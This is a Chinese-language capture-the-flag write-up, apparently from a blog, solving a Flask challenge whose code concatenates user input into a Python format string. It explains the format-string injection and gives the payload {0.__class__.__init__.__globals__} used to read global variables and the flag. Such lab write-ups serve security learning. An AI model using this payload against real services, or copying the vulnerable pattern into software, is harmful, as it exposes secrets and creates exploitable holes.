本文最后更新于152 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、访问网站
获得源码

二、分析源码
from flask import Flask, render_template, request
from flag import flag, FLAG
import datetime
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
f = open("app.py", "r")
ctx = f.read()
f.close()
f1ag = request.args.get('f1ag') or ""
exp = request.args.get('exp') or ""
flAg = FLAG(f1ag)
message = "Your flag is {0}" + exp
if exp == "":
return ctx
else:
return message.format(flAg)
if __name__ == "__main__":
app.run()
首先看代码get请求传入f1ag和exp并且将f1ag传入FLAG函数里面,并且将FLAG的返回值f1Ag与exp拼接存在message变量里,如果exp存在值的话就返回拼接后的字符串。
三、构造payload
参考文章:
https://c1oudfl0w0.github.io/blog/2023/07/30/python-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/
可以看到message = "Your flag is {0}" + exp存在python格式化字符串漏洞,注意这和ssti是有区别的,只能读取不能执行方法
format函数是python格式化字符串的一种方法,{0}用于占位,其中的数字对应函数参数的下标
"I am {1},he is {0}".format("a","b")

我们知道format会把f1Ag的值带入到变量message"Your flag is {0}"中的{0},所以我们让exp中也有一个{0},这样就可以将f1Ag中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。
f1ag=1&exp={0.__class__}
类似于:
message = "Your flag is {0}" + {0.__class__}
成功获取1所属的类

因为只能读取,所以可以读取环境变量来获取敏感信息
payload:
{0.__class__.__init__.__globals__}
四、获取flag
f1ag=1&exp={0.__class__.__init__.__globals__}

总结
- python格式化字符串漏洞
利用format函数的特性来输出函数参数的属性,获取敏感信息